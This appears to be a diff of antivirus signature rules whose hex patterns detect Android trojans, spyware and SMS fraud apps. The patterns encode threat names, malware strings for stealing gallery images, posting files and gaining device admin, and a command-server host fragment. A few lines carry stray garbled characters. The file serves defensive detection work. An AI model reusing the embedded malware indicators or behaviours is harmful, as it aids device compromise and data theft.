_InfrastructureShared_24853{ +rule _InfrastructureShared_26166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 44 72 6f 70 70 65 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 69 61 6e 2e 44 21 4d 54 42 00 01 00 7f 03 12 01 35 21 90 01 02 14 05 3b a7 00 00 b0 56 48 05 03 01 d9 09 06 1f dc 0a 01 03 48 0a 07 0a da 0b 09 4e 91 0b } //16675 - $a_96_1 = {b6 da 06 06 00 b0 56 93 05 0b 0b db 05 05 01 df 05 05 01 b0 56 94 05 0b 0b b0 56 97 05 06 0a 8d 55 4f 05 04 01 93 05 0b 08 d8 01 01 01 01 b6 90 01 02 13 00 13 00 13 01 2f 00 35 10 05 00 d8 00 00 01 90 01 02 22 00 90 01 02 70 20 90 01 02 40 00 11 00 90 00 01 00 1c 00 64 61 6c 76 69 6b 2f 73 79 73 74 65 6d 2f 44 65 78 43 6c 61 73 73 4c 6f 61 64 65 72 00 00 be d6 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 63 61 6c 6c 73 2e 46 21 4d 54 42 00 01 00 46 01 6e 10 } //2822 + $a_96_1 = {b6 da 06 06 00 b0 56 93 05 0b 0b db 05 05 01 df 05 05 01 b0 56 94 05 0b 0b b0 56 97 05 06 0a 8d 55 4f 05 04 01 93 05 0b 08 d8 01 01 01 01 b6 90 01 02 13 00 13 00 13 01 2f 00 35 10 05 00 d8 00 00 01 90 01 02 22 00 90 01 02 70 20 90 01 02 40 00 11 00 90 00 01 00 1c 00 64 61 6c 76 69 6b 2f 73 79 73 74 65 6d 2f 44 65 78 43 6c 61 73 73 4c 6f 61 64 65 72 00 00 be d6 00 00 05 00 05 00 06 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 61 6d 6f 6e 74 2e 51 21 4d 54 42 00 01 00 24 01 6f 6e 6c 79 66 61 6e 73 } //2822 condition: ((#a_46_0 & 1)*16675+(#a_96_1 & 1)*2822) >=2 } -rule _InfrastructureShared_24854{ +rule _InfrastructureShared_26167{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 06 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 63 61 6c 6c 73 2e 46 21 4d 54 42 00 01 00 46 01 6e 10 b9 01 02 00 0c 00 38 00 20 00 54 20 69 01 39 00 19 00 6e 10 be 01 02 00 0c 00 1f } //21539 - $a_38_1 = {06 } //-12288 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 61 6d 6f 6e 74 2e 51 21 4d 54 42 00 01 00 24 01 6f 6e 6c 79 66 61 6e 73 2f 4e 5a 54 54 72 61 6e 73 70 6f 72 74 24 73 65 6e 64 4e 65 77 49 6e 73 74 61 6c } //21539 + $a_69_2 = {46 69 6c 65 4c 69 73 74 01 00 15 01 6f 6e 6c 79 66 61 6e 73 2e 4e 5a 54 54 72 61 6e 73 70 6f 72 74 01 00 16 01 67 65 74 47 61 6c 6c 65 72 79 43 61 6d 65 72 61 49 6d 61 67 65 73 01 00 11 01 67 65 74 4f 6e 65 43 61 6d 65 72 61 50 68 6f 74 6f 01 00 26 01 6f 6e 6c 79 66 61 6e 73 2f 4e 5a 54 54 72 61 } //25601 + $a_6f_3 = {74 24 73 65 6e 64 48 74 74 70 50 6f 73 74 46 69 6c 65 00 00 be d8 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 72 69 66 74 48 6f 72 73 65 2e 42 00 01 00 06 01 44 45 52 45 43 54 01 00 0e 01 48 41 53 5f 41 4c 49 50 41 59 5f 4c 49 42 01 00 19 01 49 53 5f 4b 49 54 4b 41 54 5f 4f 52 5f 42 } //29550 + $a_57_4 = {4b 49 54 4b 41 54 01 00 17 01 69 73 20 75 6e 73 61 66 65 2c 20 77 69 6c 6c 20 62 65 20 70 61 73 73 01 00 10 01 6f 6e 4f 70 65 6e 50 61 67 65 50 72 6f 6d 70 74 01 00 18 01 69 73 20 50 65 72 6d 69 73 73 69 6f 6e 20 41 76 61 69 6c 61 62 6c } //19525 + $a_00_5 = {11 } //14949 condition: - ((#a_4c_0 & 1)*21539+(#a_38_1 & 1)*-12288) >=2 + ((#a_4c_0 & 1)*21539+(#a_69_2 & 1)*25601+(#a_6f_3 & 1)*29550+(#a_57_4 & 1)*19525+(#a_00_5 & 1)*14949) >=5 } -rule _InfrastructureShared_24855{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4c 6f 63 6b 53 63 72 65 65 6e 2e 44 21 4d 54 42 00 01 00 5c 01 07 06 07 17 15 08 03 7f 12 09 6e 30 15 00 87 09 0c 07 1f 07 14 00 5b 67 10 00 07 06 22 07 1a } //21539 - $a_07_1 = {d7 07 d8 07 09 70 20 21 00 98 00 5b 67 0c 00 07 06 07 07 54 77 10 00 15 08 05 7f 6e 20 18 00 87 00 0c 07 1f 07 19 00 5b 67 0e 00 07 06 07 07 54 77 10 00 14 08 02 00 05 7f 01 00 44 01 0c 04 07 42 07 24 1a 05 6a 00 13 06 80 00 6e 30 13 00 54 06 0c 04 07 43 22 04 3b 00 07 4a 07 a4 07 a5 22 06 01 00 07 6a 07 a6 07 a7 07 08 70 20 01 00 87 00 70 20 48 00 65 00 07 42 07 24 6e 10 } //1792 - condition: - ((#a_4c_0 & 1)*21539+(#a_07_1 & 1)*1792) >=2 - -} -rule _InfrastructureShared_24856{ +rule _InfrastructureShared_26168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,08 00 08 00 08 00 21 " @@ -325567,7 +342376,7 @@ rule _InfrastructureShared_24856{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*19525+(#a_00_2 & 1)*14949+(#a_52_3 & 1)*28417+(#a_6e_4 & 1)*28004+(#a_64_5 & 1)*24884+(#a_52_6 & 1)*21320+(#a_02_7 & 1)*522) >=8 } -rule _InfrastructureShared_24857{ +rule _InfrastructureShared_26169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 07 00 21 " @@ -325583,7 +342392,7 @@ rule _InfrastructureShared_24857{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*25959+(#a_4e_2 & 1)*25455+(#a_00_3 & 1)*513+(#a_61_4 & 1)*21063+(#a_61_5 & 1)*21357+(#a_53_6 & 1)*25959) >=5 } -rule _InfrastructureShared_24858{ +rule _InfrastructureShared_26170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 03 00 21 " @@ -325594,7 +342403,7 @@ rule _InfrastructureShared_24858{ ((#a_46_0 & 1)*16675+(#a_01_2 & 1)*21539) >=4 } -rule _InfrastructureShared_24859{ +rule _InfrastructureShared_26171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 09 00 21 " @@ -325612,7 +342421,7 @@ rule _InfrastructureShared_24859{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25445+(#a_69_2 & 1)*24435+(#a_66_3 & 1)*18789+(#a_00_4 & 1)*1+(#a_00_5 & 1)*0+(#a_00_6 & 1)*6+(#a_48_7 & 1)*21061+(#a_75_8 & 1)*25971) >=7 } -rule _InfrastructureShared_24860{ +rule _InfrastructureShared_26172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,09 00 09 00 08 00 21 " @@ -325621,40 +342430,30 @@ rule _InfrastructureShared_24860{ $a_01_1 = {00 0d 00 2f 70 72 6f 63 2f 63 70 75 69 6e 66 6f 01 00 0d 00 2f 70 72 6f 63 2f 6d 65 6d 69 6e 66 6f 01 00 18 00 67 65 74 53 74 6f 72 61 67 65 50 61 74 68 73 42 79 43 6f 6d 6d 61 6e 64 01 00 0b 00 67 65 74 50 68 6f 6e 65 4d 41 43 01 00 12 00 67 65 74 50 68 6f 6e 65 44 65 76 69 63 65 54 79 70 65 01 00 14 00 63 75 72 72 65 6e 74 5f 76 } //26222 $a_69_2 = {6e 5f 6e 61 6d 65 00 00 06 00 be dc 00 00 06 00 06 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 41 6e 64 72 6f 69 64 41 72 6d 6f 75 72 2e 41 21 4d 54 42 00 01 00 2b 00 4c 63 6f 6d 2f 61 72 6d 6f 72 66 6f 72 61 6e 64 72 6f 69 64 2f 73 65 63 75 72 69 74 79 2f 4c 6f 63 6b 41 63 74 69 76 69 74 79 5f 01 00 1c 00 } //29285 $a_61_3 = {65 5f 41 72 6d 6f 72 5f 66 6f 72 5f 41 6e 64 72 6f 69 64 2e 61 70 6b 01 00 14 00 4d 6f 6e 65 74 69 7a 65 64 41 70 70 6c 69 63 61 74 69 6f 6e 01 00 15 01 53 45 54 54 49 4e 47 5f 53 43 41 4e 5f 53 59 53 5f 41 50 50 53 01 00 0d 00 66 6f 72 63 65 44 6f 77 6e 6c 6f 61 64 01 00 11 00 4d 79 43 6f 6e 74 61 } //28757 - $a_63_4 = {69 76 69 74 79 00 00 05 00 be de 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 43 61 6e 65 73 53 70 79 2e 43 21 4d 54 42 00 01 00 5e 01 08 0e 16 00 } //29795 - $a_00_5 = {54 70 f5 04 02 01 17 00 72 20 6a e3 10 00 0c 02 52 e1 6f 00 12 } //1800 - $a_08_6 = {00 12 03 38 01 15 03 12 } //4901 ሀ㠃ᔁሃ - $a_3e_7 = {32 51 4a 02 12 30 33 01 28 00 1f 0e f7 28 1f 02 93 2c 54 e9 5b a2 6e 20 0d b6 09 00 54 78 f6 04 54 80 b8 a2 54 26 2c a5 71 20 50 4f 60 00 0a 00 01 00 4a 01 20 08 ad 2c 38 08 c9 00 1f 00 ad 2c 5b } //12820 + $a_63_4 = {69 76 69 74 79 00 00 05 00 be df 00 00 02 00 02 00 05 00 21 23 41 4c 46 3a 41 6e 64 72 6f 69 64 4f 53 53 75 73 70 69 63 69 6f 75 73 50 65 72 6d 73 2e 41 00 01 00 23 00 61 6e 64 72 6f 69 64 2e 6f } //29795 + $a_6f_5 = {65 72 4d 61 6e 61 67 65 72 2e 6e 65 77 57 61 6b 65 4c 6f 63 6b 01 00 29 00 61 6e 64 72 6f 69 64 2e 70 65 72 6d 69 73 73 69 6f 6e 2e 52 45 43 45 49 56 45 5f 42 4f 4f 54 5f 43 4f 4d 50 4c 45 54 45 44 01 00 23 00 61 6e 64 72 6f 69 64 2e 61 70 } //11891 + $a_63_6 = {69 6f 6e 2e 41 44 44 5f 44 45 56 49 43 45 5f 41 44 4d 49 4e 01 00 24 00 52 45 51 55 45 53 54 5f 49 47 4e 4f 52 45 5f 42 41 54 54 45 52 59 5f 4f 50 54 49 4d 49 5a 41 54 49 4f 4e 53 9c ff 0f 01 4c 63 6f 6d 2f 70 73 61 66 65 2f 63 6f 72 65 00 00 be df 00 00 06 00 06 00 06 00 21 23 41 4c 46 50 } //11888 + $a_48_7 = {54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6b 79 6d 6f 62 69 2e 41 00 01 00 3c 01 63 6f 6d 2f 73 6b 79 6d 6f 62 69 2f 70 61 79 6d 65 6e 74 2f 61 6e 64 72 6f 69 64 2f 6d 6f 64 } //21061 剔䄺摮潲摩协匯祫潭楢䄮Ā㰀持浯猯祫潭楢瀯祡敭瑮愯摮潲摩洯摯 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26222+(#a_69_2 & 1)*29285+(#a_61_3 & 1)*28757+(#a_63_4 & 1)*29795+(#a_00_5 & 1)*1800+(#a_08_6 & 1)*4901+(#a_3e_7 & 1)*12820) >=9 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26222+(#a_69_2 & 1)*29285+(#a_61_3 & 1)*28757+(#a_63_4 & 1)*29795+(#a_6f_5 & 1)*11891+(#a_63_6 & 1)*11888+(#a_48_7 & 1)*21061) >=9 } -rule _InfrastructureShared_24861{ +rule _InfrastructureShared_26173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 41 6e 64 72 6f 69 64 41 72 6d 6f 75 72 2e 41 21 4d 54 42 00 01 00 2b 00 4c 63 6f 6d 2f 61 72 6d 6f 72 66 6f 72 61 6e 64 72 6f 69 64 2f 73 65 63 75 72 69 74 79 2f 4c 6f 63 6b } //16675 $a_69_1 = {69 74 79 5f 01 00 1c 00 55 70 64 61 74 65 5f 41 72 6d 6f 72 5f 66 6f 72 5f 41 6e 64 72 6f 69 64 2e 61 70 6b 01 00 14 00 4d 6f 6e 65 74 69 7a 65 64 41 70 70 6c 69 63 61 74 69 6f 6e 01 00 15 01 53 45 54 54 49 4e 47 5f 53 43 41 4e 5f 53 59 53 5f 41 50 50 53 01 00 0d 00 66 6f 72 63 65 44 6f 77 6e 6c 6f 61 64 01 00 11 00 4d 79 43 6f 6e 74 61 63 74 41 } //25409 - $a_76_2 = {74 79 00 00 05 00 be de 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 43 61 6e 65 73 53 70 79 2e 43 21 4d 54 42 00 01 00 5e 01 08 0e 16 00 08 07 15 00 54 70 f5 04 02 01 17 00 72 20 6a e3 10 00 0c 02 52 e1 6f 00 12 25 13 08 08 00 12 03 38 01 15 03 12 14 32 41 3e 00 32 } //29795 - $a_12_3 = {33 01 } //19025 ij - $a_0e_4 = {f7 28 1f 02 93 2c 54 e9 5b a2 6e 20 0d b6 09 00 54 78 f6 04 54 80 b8 a2 54 26 2c a5 71 20 50 } //40 + $a_76_2 = {74 79 00 00 05 00 be df 00 00 02 00 02 00 05 00 21 23 41 4c 46 3a 41 6e 64 72 6f 69 64 4f 53 53 75 73 70 69 63 69 6f 75 73 50 65 72 6d 73 2e 41 00 01 00 23 00 61 6e 64 72 6f 69 64 2e 6f 73 2e 50 6f 77 65 72 4d 61 6e 61 67 65 72 2e 6e 65 77 57 61 6b 65 4c 6f 63 6b 01 00 29 00 61 6e 64 72 6f 69 64 2e 70 65 72 6d 69 } //29795 + $a_6f_3 = {2e 52 45 43 45 49 56 45 5f 42 4f 4f 54 5f 43 4f 4d 50 4c 45 54 45 44 01 00 23 00 61 6e 64 72 6f 69 64 2e 61 70 70 2e 61 63 74 69 6f 6e 2e 41 44 44 5f 44 45 56 49 43 45 5f 41 44 4d 49 4e 01 00 24 00 52 45 51 55 45 53 54 5f 49 47 4e 4f 52 45 5f 42 41 54 54 45 52 59 5f 4f 50 54 49 4d 49 5a 41 54 49 4f 4e 53 9c ff 0f } //29555 + $a_6f_4 = {2f 70 73 61 66 65 2f 63 6f 72 65 00 00 be df 00 00 06 00 06 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6b 79 6d 6f 62 69 2e 41 00 01 00 3c 01 63 6f 6d 2f 73 6b 79 6d 6f 62 69 2f 70 61 79 6d 65 6e 74 2f 61 6e 64 72 6f 69 64 2f 6d 6f 64 65 6c 2f 74 68 69 72 } //19457 + $a_61_5 = {6b 43 61 72 64 43 68 65 63 6b 64 52 65 73 75 6c 74 01 00 1e 01 77 61 70 2e 67 31 38 38 2e 6e 65 74 3a 38 30 38 38 2f 75 73 65 72 52 65 67 69 73 74 65 72 01 00 06 01 53 6d 73 50 61 79 01 00 0b 01 67 } //12132 condition: - ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25409+(#a_76_2 & 1)*29795+(#a_12_3 & 1)*19025+(#a_0e_4 & 1)*40) >=6 + ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25409+(#a_76_2 & 1)*29795+(#a_6f_3 & 1)*29555+(#a_6f_4 & 1)*19457+(#a_61_5 & 1)*12132) >=6 } -rule _InfrastructureShared_24862{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 43 61 6e 65 73 53 70 79 2e 43 21 4d 54 42 00 01 00 5e 01 08 0e 16 00 08 07 15 00 54 70 f5 04 02 01 17 00 72 20 6a e3 10 00 0c 02 52 e1 6f 00 12 25 13 08 08 } //21539 - $a_38_1 = {15 03 12 } //4608 - condition: - ((#a_4c_0 & 1)*21539+(#a_38_1 & 1)*4608) >=2 - -} -rule _InfrastructureShared_24863{ +rule _InfrastructureShared_26174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 05 00 21 " @@ -325668,7 +342467,7 @@ rule _InfrastructureShared_24863{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*11876+(#a_6f_2 & 1)*19457+(#a_61_3 & 1)*12132+(#a_68_4 & 1)*29797) >=2 } -rule _InfrastructureShared_24864{ +rule _InfrastructureShared_26175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -325683,7 +342482,7 @@ rule _InfrastructureShared_24864{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*24899+(#a_61_2 & 1)*26479+(#a_01_3 & 1)*869+(#a_20_4 & 1)*513+(#a_73_5 & 1)*28462) >=6 } -rule _InfrastructureShared_24865{ +rule _InfrastructureShared_26176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -325696,7 +342495,7 @@ rule _InfrastructureShared_24865{ ((#a_41_0 & 1)*20515+(#a_10_1 & 1)*18+(#a_2d_2 & 1)*25389+(#a_20_3 & 1)*26217) >=4 } -rule _InfrastructureShared_24866{ +rule _InfrastructureShared_26177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -325704,14 +342503,28 @@ rule _InfrastructureShared_24866{ $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 68 65 72 69 44 72 6f 69 64 2e 41 21 4d 54 42 00 01 00 11 00 53 4d 53 54 72 61 63 6b 43 68 65 63 6b 50 72 65 66 01 00 12 00 53 4d 53 43 75 72 72 65 6e 74 4c 6f 63 61 74 69 } //16675 $a_00_1 = {13 } //28271 $a_65_2 = {69 66 66 20 41 6e 64 72 6f 69 64 20 53 4d 53 01 00 11 00 74 72 61 63 6b 69 6e 67 20 6d 65 73 73 61 67 65 73 01 00 11 00 53 4d 53 54 72 61 63 6b 69 6e 67 53 63 72 65 65 6e 01 00 3f 03 4c 63 6f 6d 90 02 07 6a 61 67 67 65 72 73 6f 66 74 77 61 72 65 2f 73 68 65 72 69 66 66 61 6e 64 72 6f 69 64 2f 53 74 61 72 74 52 } //21248 - $a_72_3 = {69 6e 67 50 72 65 66 65 72 65 6e 63 65 90 00 00 00 be e2 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 53 65 6e 64 2e 42 00 01 00 1a 01 42 41 55 66 57 68 67 61 46 67 41 58 46 67 45 50 44 45 6b 5a 42 78 30 62 44 41 01 00 20 01 42 41 55 66 57 67 34 63 57 51 38 64 46 77 59 50 42 } //25445 - $a_42_4 = {63 4b 43 67 49 63 47 68 41 58 01 00 30 01 42 41 55 66 57 67 45 64 41 77 6f 63 42 77 45 4c 42 30 6b 4c 48 42 41 64 42 68 34 4b 58 51 55 41 46 51 41 4f 42 41 45 52 44 42 77 46 42 77 63 64 01 00 23 01 42 41 55 66 57 67 49 4b 46 67 67 57 41 55 } //27495 - $a_77_5 = {31 45 78 6f 4c 47 78 67 48 46 7a 73 4b 42 51 55 01 00 18 00 44 78 34 47 42 46 56 47 57 46 78 42 56 46 39 57 57 30 6b 65 48 51 52 41 00 00 be e5 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 } //20801 + $a_72_3 = {69 6e 67 50 72 65 66 65 72 65 6e 63 65 90 00 00 00 be e1 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 69 6e 4d 61 73 74 65 72 2e 45 21 4d 54 42 00 01 00 2d 01 48 74 74 70 20 72 65 73 6f 6e 73 65 43 6f 6e 74 65 6e 74 3a 20 47 61 6d 65 55 73 65 72 73 2e 6d 73 67 5f 66 69 72 73 } //25445 + $a_75_4 = {3a 01 00 18 01 4c 63 6f 6d 31 32 33 34 35 36 37 38 39 2f 44 65 63 72 79 70 74 65 72 3b 01 00 1b 01 63 6f 6d 2e 61 6e 64 72 6f 69 64 2e 61 63 74 69 6f 6e 2e 47 61 6d 65 49 6e 66 6f 01 00 25 01 6f 6e 53 65 72 76 69 63 65 44 69 73 63 6f 6e 6e 65 63 74 65 64 2c 20 73 65 72 76 69 63 65 42 69 6e 64 65 72 3a 01 00 17 01 67 61 6d 65 5f 73 65 72 76 } //24436 + $a_5f_5 = {61 63 6b 61 67 65 2e 64 62 00 00 be e2 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 53 65 6e 64 2e 42 00 01 00 1a 01 42 41 55 66 57 68 67 61 46 67 41 58 46 67 45 50 44 45 6b 5a 42 78 30 62 44 41 01 00 20 01 42 41 55 66 57 67 34 63 57 51 38 64 46 } //25449 condition: - ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28271+(#a_65_2 & 1)*21248+(#a_72_3 & 1)*25445+(#a_42_4 & 1)*27495+(#a_77_5 & 1)*20801) >=6 + ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*28271+(#a_65_2 & 1)*21248+(#a_72_3 & 1)*25445+(#a_75_4 & 1)*24436+(#a_5f_5 & 1)*25449) >=6 } -rule _InfrastructureShared_24867{ +rule _InfrastructureShared_26178{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_4c_0 = {42 61 63 6b 64 6f 6f 72 3a 41 6e 64 72 6f 69 64 4f 53 2f 47 69 6e 4d 61 73 74 65 72 2e 45 21 4d 54 42 00 01 00 2d 01 48 74 74 70 20 72 65 73 6f 6e 73 65 43 6f 6e 74 65 6e 74 3a 20 47 61 6d 65 55 73 65 72 73 } //21539 + $a_67_1 = {66 69 72 73 74 5f 72 75 6e 3a 01 00 18 01 4c 63 6f 6d 31 32 33 34 35 36 37 38 39 2f 44 65 63 72 79 70 74 65 72 3b 01 00 1b 01 63 6f 6d 2e 61 6e 64 72 6f 69 64 2e 61 63 74 69 6f 6e 2e 47 61 6d 65 49 6e 66 6f 01 00 25 01 6f 6e 53 65 72 76 69 63 65 44 69 73 63 6f 6e 6e 65 63 74 65 64 2c 20 73 65 72 76 69 63 65 42 69 6e 64 65 72 3a 01 00 17 01 67 } //27950 + $a_5f_2 = {65 72 76 69 63 65 5f 70 61 63 6b 61 67 65 2e 64 62 00 00 be e2 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 53 65 6e 64 2e 42 00 01 00 1a 01 42 41 55 66 57 68 67 61 46 67 41 58 46 67 45 50 44 45 6b 5a 42 78 30 62 44 41 01 00 20 01 42 41 55 66 57 } //28001 + $a_57_3 = {38 64 46 77 59 50 42 67 6b 50 42 67 63 4b 43 67 49 63 47 68 41 58 01 00 30 01 42 41 55 66 57 67 45 64 41 77 6f 63 42 77 45 4c 42 30 6b 4c 48 42 41 64 42 68 34 4b 58 51 55 41 46 51 41 4f 42 41 45 52 44 42 77 46 42 77 63 64 01 00 23 01 42 41 55 66 57 67 49 4b 46 67 67 57 41 55 41 51 47 77 6f 31 45 } //13415 + $a_47_4 = {67 48 46 7a 73 4b 42 51 55 01 00 18 00 44 78 34 47 42 46 56 47 57 46 78 42 56 46 39 57 57 30 6b 65 48 51 52 41 00 00 be e5 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 41 } //28536 + condition: + ((#a_4c_0 & 1)*21539+(#a_67_1 & 1)*27950+(#a_5f_2 & 1)*28001+(#a_57_3 & 1)*13415+(#a_47_4 & 1)*28536) >=5 + +} +rule _InfrastructureShared_26179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 05 00 21 " @@ -325725,7 +342538,7 @@ rule _InfrastructureShared_24867{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*16976+(#a_00_2 & 1)*1+(#a_e5_3 & 1)*0+(#a_6b_4 & 1)*27214) >=4 } -rule _InfrastructureShared_24868{ +rule _InfrastructureShared_26180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " @@ -325740,7 +342553,7 @@ rule _InfrastructureShared_24868{ ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*31065+(#a_45_2 & 1)*20021+(#a_79_3 & 1)*25199+(#a_69_4 & 1)*20+(#a_69_5 & 1)*24832) >=6 } -rule _InfrastructureShared_24869{ +rule _InfrastructureShared_26181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,07 00 07 00 07 00 21 " @@ -325756,23 +342569,39 @@ rule _InfrastructureShared_24869{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_02_4 & 1)*1+(#a_00_5 & 1)*1+(#a_e6_6 & 1)*0) >=7 } -rule _InfrastructureShared_24870{ +rule _InfrastructureShared_26182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 09 00 21 " strings : $a_46_0 = {4d 6f 6e 69 74 6f 72 69 6e 67 54 6f 6f 6c 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 69 72 64 6f 73 2e 44 21 4d 54 42 00 01 00 12 00 70 65 72 73 69 73 74 65 6e 63 65 6d 61 6e 61 67 65 72 01 00 0f 00 73 74 61 72 74 61 70 70 63 68 65 63 } //16675 $a_01_1 = {00 0d 00 73 63 72 65 65 6e 5f 72 65 61 64 65 72 01 00 0c 00 73 63 72 65 65 6e 72 65 63 6f 72 64 01 00 0b 00 74 61 6b 65 70 69 63 74 75 72 65 01 00 15 00 70 65 72 73 69 73 74 65 64 69 6e 73 74 61 6c 6c 61 74 69 6f 6e 01 00 0f 00 72 75 6e 6e 69 6e 67 74 61 73 6b 69 6e 66 6f 01 00 17 00 6b 69 6c 6c 42 61 63 6b 67 72 6f 75 6e 64 50 72 6f 63 65 } //25963 - $a_73_2 = {00 0e 00 67 65 74 4d 65 73 73 61 67 65 42 6f 64 79 00 00 be e9 00 00 03 00 03 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 2f 45 76 61 6c 69 44 72 69 6e 6b 2e 41 21 64 68 61 00 02 00 10 00 63 6f 6d 2e 73 65 63 2e 77 68 69 73 6b 65 79 2e 02 00 0f 00 63 6f 6d 2f 73 65 63 2f 77 68 } //29555 - $a_79_3 = {01 00 14 00 47 45 54 5f 57 48 49 53 4b 59 5f 49 44 5f 46 41 49 4c 45 44 01 00 17 00 46 45 54 43 48 5f 46 49 4c 45 5f 4e 4f 5f 53 55 43 48 5f 46 49 4c 45 01 00 1b 00 43 4f 4d 4d 41 4e 44 5f 54 59 50 45 5f 4e 4f 54 5f 52 45 47 49 53 54 45 52 45 44 01 00 10 01 2f 46 69 6e 67 65 72 70 72 69 6e 74 55 74 69 6c 01 00 16 01 2f } //29545 - $a_6e_4 = {65 6c 24 54 75 6e 6e 65 6c 69 73 74 65 6e 65 72 01 00 10 01 2f 50 6c 75 67 69 6e 73 43 6f 6e 73 75 6d 65 72 00 00 be eb 00 00 08 00 08 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 4d 61 78 2e 41 00 01 00 28 00 4c 61 6e 64 72 6f 69 64 2f 76 69 65 77 2f 57 69 6e 64 6f 77 4d 61 6e 61 67 65 72 24 4c 61 } //21577 - $a_74_5 = {61 72 61 6d 73 01 00 07 00 61 64 64 56 69 65 77 01 00 15 00 71 75 65 72 79 49 6e 74 65 6e 74 41 63 74 69 76 69 74 69 65 73 01 00 11 00 77 69 66 69 5f 73 6c 65 65 70 5f 70 6f 6c 69 63 79 01 00 14 00 67 65 74 4c 61 73 